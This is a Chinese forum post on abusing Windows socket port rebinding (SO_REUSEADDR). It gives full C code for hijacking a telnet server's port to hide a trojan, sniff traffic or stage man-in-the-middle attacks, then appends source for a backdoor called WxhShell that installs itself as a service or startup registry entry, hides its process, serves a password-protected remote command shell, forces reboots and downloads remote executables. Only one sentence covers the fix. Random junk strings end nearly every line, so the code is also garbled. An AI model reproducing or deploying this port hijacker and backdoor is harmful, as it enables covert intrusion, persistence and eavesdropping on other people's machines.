社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13577阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /mdPYV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Jt7IM!9[  
os :/-A_m  
  saddr.sin_family = AF_INET; O?p8Gjf  
[ H~Yg2O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g Kp5*  
bHJKX>@{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M-#OPj*  
8Ce|Q8<8]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y15 MWZ  
Nu/D$m'PY  
  这意味着什么?意味着可以进行如下的攻击: o+NPe36  
_oV;Y`_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z XI [f  
>"OwdAvX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1q?b?.  
;8| D4+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sl5y1W/]]  
7@[HRr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y_s^dQe  
fX:)mLnO/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mYU7b8x_  
v?BVUH>#9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zC@ ziH>{]  
4t C-msTf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A-=B#UF  
P^lzl:|  
  #include /mi9 q  
  #include i8h(b2odQ  
  #include r>>4)<C7J  
  #include    U~;Rzoe)q*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0Q>yv;M  
  int main() f *Xum[  
  { /.knZ_aJ!  
  WORD wVersionRequested; u~uR:E%'C  
  DWORD ret; Q140b;Z  
  WSADATA wsaData; Sckt gp8  
  BOOL val; v?s]up @@h  
  SOCKADDR_IN saddr; >A]U.C  
  SOCKADDR_IN scaddr; N5ph70#y3  
  int err; 3SI~?&HU!/  
  SOCKET s; "7> o"FQ  
  SOCKET sc; .5S< G)Ja  
  int caddsize; rE&` G[(b  
  HANDLE mt; )2nx5 "  
  DWORD tid;   D.!ay>o0#  
  wVersionRequested = MAKEWORD( 2, 2 ); !Q/%N#  
  err = WSAStartup( wVersionRequested, &wsaData ); s8r|48I#;  
  if ( err != 0 ) { 2qA"emUM  
  printf("error!WSAStartup failed!\n"); +t9$*i9`L  
  return -1; Czl4^STiC  
  } z<3{.e\e  
  saddr.sin_family = AF_INET; #5Q?Q~E@  
   "M-zBBY]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T%[&[8{8  
yLC5S3^1\"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bOB<m4  
  saddr.sin_port = htons(23); 1WTDF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eX{:&Do  
  { sI/]pgt2  
  printf("error!socket failed!\n"); \zdY$3z  
  return -1; x|7vN E=Q  
  } s(0S)l<  
  val = TRUE; mY)Y47iL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =\QKzQ'BC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #mK/xbW  
  { :jKiHeBQu?  
  printf("error!setsockopt failed!\n"); F6L}n-p5  
  return -1; 3 L:s5  
  } #Epx'$9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T z`O+fx &  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k@[P\(a3b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J~e%EjN5e  
T#o?@ ;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w[K!m.p,u  
  { C;m,{MD  
  ret=GetLastError(); "X[sW%# F  
  printf("error!bind failed!\n"); tx+KxOt9Y  
  return -1; A^%li^qz  
  } 2 cB){.E  
  listen(s,2); <n+]\a97*  
  while(1) FX->_}kL=  
  { 2!w5eWl,  
  caddsize = sizeof(scaddr); i"B q*b@  
  //接受连接请求 9s.x%m,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 03%`ouf  
  if(sc!=INVALID_SOCKET) }k{h^!fV  
  { J2KULXF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Lddk:u&J  
  if(mt==NULL) - &7\do<  
  { t+H=%{z  
  printf("Thread Creat Failed!\n"); \{GBaMwG~  
  break; ZH1W#dt`[  
  } 3iKy>  
  } Ala~4_" WL  
  CloseHandle(mt); +,g"8&>  
  } K1_]ne)  
  closesocket(s); mDCz=pk)  
  WSACleanup();  pxuZ=<  
  return 0; YKWiZ  
  }   z{>p<)h  
  DWORD WINAPI ClientThread(LPVOID lpParam) +A!E 6+'  
  { c; MF  
  SOCKET ss = (SOCKET)lpParam; Li?_P5+a  
  SOCKET sc; &*e(  
  unsigned char buf[4096]; @)IHd6 R  
  SOCKADDR_IN saddr; qH8d3?1XO  
  long num; |_} LMkU)  
  DWORD val; ,Fv8&tR  
  DWORD ret; #^] v5s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4PcsU HR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4t]YHLBS  
  saddr.sin_family = AF_INET; <mk'n6B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VEc^Ap1?'  
  saddr.sin_port = htons(23); Sc?UjEs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O:I"<w9_1  
  { xMpQPTte  
  printf("error!socket failed!\n"); ; 1^ ([>|  
  return -1; +HpPVuV  
  } eM) I%  
  val = 100; )tD[Ffvr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'G#T 6B!  
  { ^p}S5,  
  ret = GetLastError(); drM@6$k  
  return -1; oPbxe  
  } ^z^zsNx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }5nVZ;  
  { 7gx 7NDt  
  ret = GetLastError(); qs|{  
  return -1; P@xb  
  } \\D(St  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c@&`!e  
  { ?R MOy$L  
  printf("error!socket connect failed!\n"); HT% =o}y  
  closesocket(sc); P{gGvC,  
  closesocket(ss); B(zcoWQ*B  
  return -1; g,YJh(|#{  
  } T`7HQf ;  
  while(1) eF06B'uL  
  { 70MSP;^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rZi\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rYP72<   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `zw^ WbCO{  
  num = recv(ss,buf,4096,0); Ocp`6Fj  
  if(num>0) oZ!1^o3V  
  send(sc,buf,num,0); *URBx"5XZ  
  else if(num==0) l`wF;W!  
  break; RP9jZRDbZ  
  num = recv(sc,buf,4096,0); m) -D rbE  
  if(num>0) JHvawFBN<u  
  send(ss,buf,num,0); 6 o!*bWh  
  else if(num==0) '  ~F  
  break; e{}oQK  
  } ALO0yc  
  closesocket(ss); })#SjFq<V  
  closesocket(sc); T!F0_<  
  return 0 ; 5dNM:1VoE  
  } N+3]C9 2o  
Y48MCL  
#86=[*Dr  
========================================================== >Hd0l L  
"N*bV  
下边附上一个代码,,WXhSHELL dU"ca|u  
iu$:_W_  
========================================================== N6%wHNYZ  
^F?}MY>  
#include "stdafx.h" S!r,p};  
p3q >a<  
#include <stdio.h> .IkQo`_s:  
#include <string.h> i*\\j1mf  
#include <windows.h> d7 W[.M$]  
#include <winsock2.h> @,i_Gw)  
#include <winsvc.h> U%?  
#include <urlmon.h> Al0ls  
`J v~.EF%  
#pragma comment (lib, "Ws2_32.lib") mV'XH  
#pragma comment (lib, "urlmon.lib") 0LW|5BVbIO  
Jjr&+Q^3Tu  
#define MAX_USER   100 // 最大客户端连接数 v*[oe  
#define BUF_SOCK   200 // sock buffer m,X8Cy|vQ  
#define KEY_BUFF   255 // 输入 buffer uA]!y{"}J  
e,cSB!7  
#define REBOOT     0   // 重启 v{44`tR   
#define SHUTDOWN   1   // 关机 [/+}E X  
t)__J\xF  
#define DEF_PORT   5000 // 监听端口 -L6YLe%w  
N0POyd/rL  
#define REG_LEN     16   // 注册表键长度 &9ZrZ"]  
#define SVC_LEN     80   // NT服务名长度 y~'h/tjM@=  
U{[ g"_+~  
// 从dll定义API "+{>"_KV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9ZVzIv(   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); # ^q87y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y~Ts9AE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); " R5! VV  
J4l \  
// wxhshell配置信息 "WfVZBWG$  
struct WSCFG { 5%#V>|@e#  
  int ws_port;         // 监听端口 eJ"je@vvrK  
  char ws_passstr[REG_LEN]; // 口令 f[s|<U^  
  int ws_autoins;       // 安装标记, 1=yes 0=no gbvMS*KQz  
  char ws_regname[REG_LEN]; // 注册表键名 X?gH(mn  
  char ws_svcname[REG_LEN]; // 服务名 ,VYUQE>\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DN0`vl{*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \|f3\4;!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,l )7]p*X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (l_/ HQ32  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [zsUboCkc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =g3o@WD/G  
6Qw5_V^0o  
}; Py^fWQ5I~%  
S9mcThcZ  
// default Wxhshell configuration TR J5m?x  
struct WSCFG wscfg={DEF_PORT, "IuHSjP  
    "xuhuanlingzhe", &WV&_z  
    1, /y-eVu6  
    "Wxhshell", fP>~ @^  
    "Wxhshell", SF. Is=b  
            "WxhShell Service", vP @\"  
    "Wrsky Windows CmdShell Service", =6Q\78b  
    "Please Input Your Password: ", $s S;#r0  
  1, sL",Ho  
  "http://www.wrsky.com/wxhshell.exe", 1{Kv  
  "Wxhshell.exe" Muay6b?  
    }; WXmR{za   
l+XTn;cS  
// 消息定义模块 sogdM{tz\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?qJt4Om  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vm]xV_FOd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R|g50Q  
char *msg_ws_ext="\n\rExit."; |EZ\+!8N:{  
char *msg_ws_end="\n\rQuit."; 3bBCA9^se  
char *msg_ws_boot="\n\rReboot..."; {"vTaY@  
char *msg_ws_poff="\n\rShutdown..."; Bbj%RF2,  
char *msg_ws_down="\n\rSave to "; !3;KC"o  
De^Uc  
char *msg_ws_err="\n\rErr!"; #O,;3S  
char *msg_ws_ok="\n\rOK!"; 4m"6$  
'wT !X[jF  
char ExeFile[MAX_PATH]; EFdo-.Ax  
int nUser = 0; (`)ZR %i  
HANDLE handles[MAX_USER]; S-2@:E  
int OsIsNt; vhE^jS<Tg  
t#N@0kIX.  
SERVICE_STATUS       serviceStatus; EN-;@P9;C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H/''lI{k)  
k/,7FDO?m  
// 函数声明 yR$ld.[uf  
int Install(void); Q^} Ib[  
int Uninstall(void); 6^VPRp  
int DownloadFile(char *sURL, SOCKET wsh);  0U&@;/?  
int Boot(int flag); iyJx~:  
void HideProc(void); X4dxH_@  
int GetOsVer(void); ^hRx{A  
int Wxhshell(SOCKET wsl); 8~j1  
void TalkWithClient(void *cs); k}hTSL  
int CmdShell(SOCKET sock); c_Lcsn  
int StartFromService(void); !e?2 x@J  
int StartWxhshell(LPSTR lpCmdLine); vT{+Z\LL=  
khQ@DwO*\=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h]>7Dl]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YwU[kr-i  
+[B@83  
// 数据结构和表定义 (,I9|  
SERVICE_TABLE_ENTRY DispatchTable[] = T?k!%5,Kj  
{ ,JqCxb9  
{wscfg.ws_svcname, NTServiceMain}, &[W53Lqa  
{NULL, NULL} E@/* eJ  
}; )N3XbbV  
t b>At*tO  
// 自我安装 FI8 vABq  
int Install(void) nw,XA0M3  
{ P<C=9@`!  
  char svExeFile[MAX_PATH]; 1a79]-j  
  HKEY key; N!%[.3o\K  
  strcpy(svExeFile,ExeFile); `6RR/~kP(  
M97MIku~9  
// 如果是win9x系统,修改注册表设为自启动 vX}#wDNP  
if(!OsIsNt) { F S!D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *nx$r[Mqj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aL^ 58My&  
  RegCloseKey(key); .r~M7 I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k@|Go )~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Tv~$\=  
  RegCloseKey(key); @bF4'M  
  return 0; :x3"Cj  
    } ^ ^T xx  
  } RMs+pN<5  
} `Rx\wfr}  
else { %V|n2/O Y  
\\P*w$c   
// 如果是NT以上系统,安装为系统服务 cq"#[y$r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C$4!|Wg3  
if (schSCManager!=0) BFswqp:  
{ a)QSq<2*  
  SC_HANDLE schService = CreateService 8 -YC#&  
  ( !rTkH4!_  
  schSCManager, ZtGtJV"H  
  wscfg.ws_svcname, Vb,'VN%   
  wscfg.ws_svcdisp, jK\AVjn  
  SERVICE_ALL_ACCESS, XsGc!  o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iI Dun Ih  
  SERVICE_AUTO_START, ,FL*Z9wA  
  SERVICE_ERROR_NORMAL, #c$z&J7e  
  svExeFile, y`\rb<AZ*t  
  NULL, j1O_Az|3  
  NULL, "0aJE1) p:  
  NULL, w Y=k$  
  NULL, r !;wKO  
  NULL ^4Tf6Fw#  
  ); k!py*noy  
  if (schService!=0) >4&0j'z"  
  { KsQn%mxS  
  CloseServiceHandle(schService); M \UB r4  
  CloseServiceHandle(schSCManager); o&MOcy D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); opgNt o6$  
  strcat(svExeFile,wscfg.ws_svcname); %[x PyqX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qF Xx/FZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *~kHH  
  RegCloseKey(key); |f3 :9(p  
  return 0; cRv#aV  
    } 7;9 Jn  
  } H>F j  
  CloseServiceHandle(schSCManager); bD`h/jYv  
} c@Xb6z_>  
} heScIe N^`  
.oqe0$I  
return 1; LRqlK\  
} j8W<iy  
7O,!67+^~  
// 自我卸载 e.WKf,e"X  
int Uninstall(void) d}<-G.&_  
{ (bAw>  
  HKEY key; =Q#d0Q  
2H/{OQ$  
if(!OsIsNt) { TTGWOC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yX.; x 0  
  RegDeleteValue(key,wscfg.ws_regname); HcM/  
  RegCloseKey(key); H'}6Mw%ra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jI%glO'2  
  RegDeleteValue(key,wscfg.ws_regname); *iVE O  
  RegCloseKey(key); (_=R<:  
  return 0; {uurLEe?  
  } 3.6Gh|7  
} 1D1qOg"LE  
} :!wl/X ~  
else { *tfD^nctO  
vZ1?4hG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X#tCIyK,nV  
if (schSCManager!=0) Y|S>{$W  
{ ?2,{+d |  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &qP0-x)  
  if (schService!=0) Muyi2F)j  
  { 7Q9| P?&:z  
  if(DeleteService(schService)!=0) { }$b!/<7FD  
  CloseServiceHandle(schService); S0`u!l89(  
  CloseServiceHandle(schSCManager); aKintb}n  
  return 0; |nBs(>b  
  } U|Uc|6  
  CloseServiceHandle(schService); XTRF IY  
  } ]CDUHz  
  CloseServiceHandle(schSCManager); uH)?`I\zrd  
} CU:HTz=  
} g3f; JB   
JCci*F#r  
return 1; MzH'<`;BP  
} MlR ]+]  
-vv_6Z L[  
// 从指定url下载文件 W;?e@}  
int DownloadFile(char *sURL, SOCKET wsh) OZEbs 7  
{ intl?&wC  
  HRESULT hr; $b)t`r+  
char seps[]= "/"; iK!FVKi}  
char *token; VaA.J  
char *file; 3vdFO: j  
char myURL[MAX_PATH]; 5+UNLvsZ  
char myFILE[MAX_PATH]; -$$mrU  
<H$!OPV  
strcpy(myURL,sURL); L tUvFe  
  token=strtok(myURL,seps); W#2} EX  
  while(token!=NULL) x[xRqC vL  
  { aYM~Ub:x{  
    file=token; )iid9K<HB  
  token=strtok(NULL,seps); /D964VR1M\  
  } @9~x@[  
^6J*:(eM  
GetCurrentDirectory(MAX_PATH,myFILE); *4%%^*g.I  
strcat(myFILE, "\\"); A0OA7m:~4  
strcat(myFILE, file); Eihy|p  
  send(wsh,myFILE,strlen(myFILE),0); GK;IY=8W  
send(wsh,"...",3,0); }R/we`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %/ "yt}"|  
  if(hr==S_OK) 2#ZqGf.'v  
return 0; Bo\~PV[  
else 8tVSai8[  
return 1; }rUAYr~VZ  
iH~A7e62OZ  
} 7$x%A&]  
1OV] W f  
// 系统电源模块 sOb]o[=  
int Boot(int flag) *Q#oV}D_  
{ q]Kv.x]$R  
  HANDLE hToken; a_-@rceU  
  TOKEN_PRIVILEGES tkp; w|Ry) [  
f8ZuG !U  
  if(OsIsNt) { #lc6-K#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d2TIG<6/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;NE4G;px4<  
    tkp.PrivilegeCount = 1; 5A<}*T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ydA@@C\&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p{:y?0pGN  
if(flag==REBOOT) { -9;?k{{[T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?J-\}X  
  return 0; +o):grWvQ  
} QN|=/c<U  
else { mX!*|$bs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sWB@'P:x  
  return 0; ([^#.x)hz  
} I@\D tQZ  
  } w=3 j'y{f  
  else { 9dm<(I}  
if(flag==REBOOT) { \&~YFjB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RAnF=1[v  
  return 0; 1;'-$K`}  
} oo BBg@  
else { >; tE.CJH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yPY{ZADkQ  
  return 0; g*`xEb= '  
} Q*M(d\Vs  
} f:y1eLl3  
M2c7 |  
return 1; .;qh>Gt  
} }!?RB v'W  
wX_~H*m?  
// win9x进程隐藏模块 >2= Y 35j  
void HideProc(void) 7WUv  O  
{ nA{yH}D4  
_!!Fg%a5"R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QPh3(K1w^  
  if ( hKernel != NULL ) UvM4-M%2JN  
  { \WbQS#Z9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bwcr/J( Nb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fn iht<  
    FreeLibrary(hKernel); AJE$Z0{q  
  } w^("Pg`  
FD&^nJ_{  
return; J#ClQ%  
} qS"#jxc==+  
r ;MFVj{  
// 获取操作系统版本 aEh9 za  
int GetOsVer(void) ||.Hv[ ]V*  
{ %K.rrn M  
  OSVERSIONINFO winfo; N3*1,/,l .  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F_m' 9KX4E  
  GetVersionEx(&winfo); ?L0k|7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9_,f)2)~W  
  return 1; 1Lk(G9CoY  
  else ez.a  
  return 0; 0FY-e~xr  
} &%GAPs%  
iK+Vla`}  
// 客户端句柄模块 Jp%5qBS^  
int Wxhshell(SOCKET wsl) F3]VSI6^E,  
{ Lq1?Y  
  SOCKET wsh; K#AexA  
  struct sockaddr_in client; <VQ)}HW;k  
  DWORD myID; 1r_V$o$  
;ISe@ yR;  
  while(nUser<MAX_USER) k<CbI V  
{ hqlQ-aytS  
  int nSize=sizeof(client); A0U9,M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2ZEGE+0  
  if(wsh==INVALID_SOCKET) return 1; erbk (  
\G7F/$g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =6O*AJ  
if(handles[nUser]==0) -ucgET`  
  closesocket(wsh); >T c\~l  
else s;=C&N5g  
  nUser++; -u4")V>  
  } 2%6 >)|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {7c'%e  
#^Pab^Y3r-  
  return 0; #p55/54ZI  
} iU37LODa2T  
yjMN>L'  
// 关闭 socket deVnAu =  
void CloseIt(SOCKET wsh) xy4+ [u  
{ |2@*?o"ll  
closesocket(wsh); ^G(Ee+PN@  
nUser--; *8m['$oyV  
ExitThread(0); _ZFEo< `'  
} &e;Qabwxva  
rUmP_  
// 客户端请求句柄 t|i<}2  
void TalkWithClient(void *cs) :$,MAQ'9  
{ >:> W=  
3 V>$H\H  
  SOCKET wsh=(SOCKET)cs; %lWOW2~R  
  char pwd[SVC_LEN]; Rz|@BxB>n  
  char cmd[KEY_BUFF]; Bt(<Xj D  
char chr[1]; |*UB/8C^/!  
int i,j; 6 h,!;`8O  
KXK5\#+L  
  while (nUser < MAX_USER) { "t(_r@qU/  
'&B4Ccn<V  
if(wscfg.ws_passstr) { D\9-/ p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c$71~|-[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (IVhj^dQm  
  //ZeroMemory(pwd,KEY_BUFF); matna  
      i=0; ,!^5w,P:   
  while(i<SVC_LEN) { _ `&l46  
@v2ko5  
  // 设置超时 Zx_ ^P:rL  
  fd_set FdRead; S7Ty}?E@  
  struct timeval TimeOut; %kV7 <:y  
  FD_ZERO(&FdRead); kVs YB  
  FD_SET(wsh,&FdRead); PC<_1!M]  
  TimeOut.tv_sec=8; BR@m*JGajz  
  TimeOut.tv_usec=0; usD@4!PoA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n"6L\u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @;P ;iI  
H4AT>}ri  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &4S2fWx  
  pwd=chr[0]; fM4B.45j  
  if(chr[0]==0xd || chr[0]==0xa) { I*3}erT  
  pwd=0; z_fjmqa?  
  break; y7fy9jQ 8.  
  } SnmUh~`L~  
  i++; bC1G5`v_D  
    } !LwHKCj  
~Q]5g7k=&  
  // 如果是非法用户,关闭 socket ~<n.5q%Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )B0%"0?`8  
} >!xyA;  
/0XMQy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tgr,1) T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uoI7' :Nv  
+lqGf  
while(1) { pOo016afmA  
0zB[seyE  
  ZeroMemory(cmd,KEY_BUFF); "O4A&PJD  
r9})~>   
      // 自动支持客户端 telnet标准   5P-t{<]tx  
  j=0; ([dd)QU  
  while(j<KEY_BUFF) { nwUz}em?O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q_h (D/g  
  cmd[j]=chr[0]; V&s|IoTR  
  if(chr[0]==0xa || chr[0]==0xd) { A,cXN1V  
  cmd[j]=0; qGV_oa74  
  break; V>`ANZ4  
  } Fds 11 /c7  
  j++; gE#'Zv{7  
    } KZw~Ch}b9  
g gx_h  
  // 下载文件 +wmG5!%$|  
  if(strstr(cmd,"http://")) { h&$h<zL[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4>>=TJ!M  
  if(DownloadFile(cmd,wsh)) 2.Qz"YDh =  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zf3Fn2y  
  else ?Z7QD8N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tz,9>uN  
  } -PE_qZ^  
  else { Zob/H+]  
hcj}6NXc  
    switch(cmd[0]) { tO3R&"{  
  )_=2lu3%{  
  // 帮助 _NsEeKU  
  case '?': { K8sRan[4}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~I@ls Ch  
    break; W-n4w Ij"  
  } vyIH<@@p7  
  // 安装 E>|X'I?r^  
  case 'i': { *(F`NJ 3  
    if(Install()) WYUDD_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _xp8*2~-  
    else rTIu'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z,.Hz\y1D  
    break; WR"D7{>tw  
    } xf]K  
  // 卸载 ]$@D=g,r  
  case 'r': { :-46"bP.  
    if(Uninstall()) `x`[hJ?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DVL-qt\;n  
    else E5bVCAz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]]O( IC  
    break; |h\7Q1,1~2  
    } I4X9RYB6c  
  // 显示 wxhshell 所在路径 "%gsGtS  
  case 'p': { eyCZ[SC  
    char svExeFile[MAX_PATH]; h^yqrDyJ  
    strcpy(svExeFile,"\n\r"); `GCoi ?n7  
      strcat(svExeFile,ExeFile); "tzu.V-  
        send(wsh,svExeFile,strlen(svExeFile),0); 6:7[>|okQ  
    break; ;=ddv@  
    } $Iwvecn?I  
  // 重启 _F;v3|`D@<  
  case 'b': { 'BjTo*TB]Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,twx4r^  
    if(Boot(REBOOT)) esqmj#G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (90/,@6 6l  
    else { _fHml   
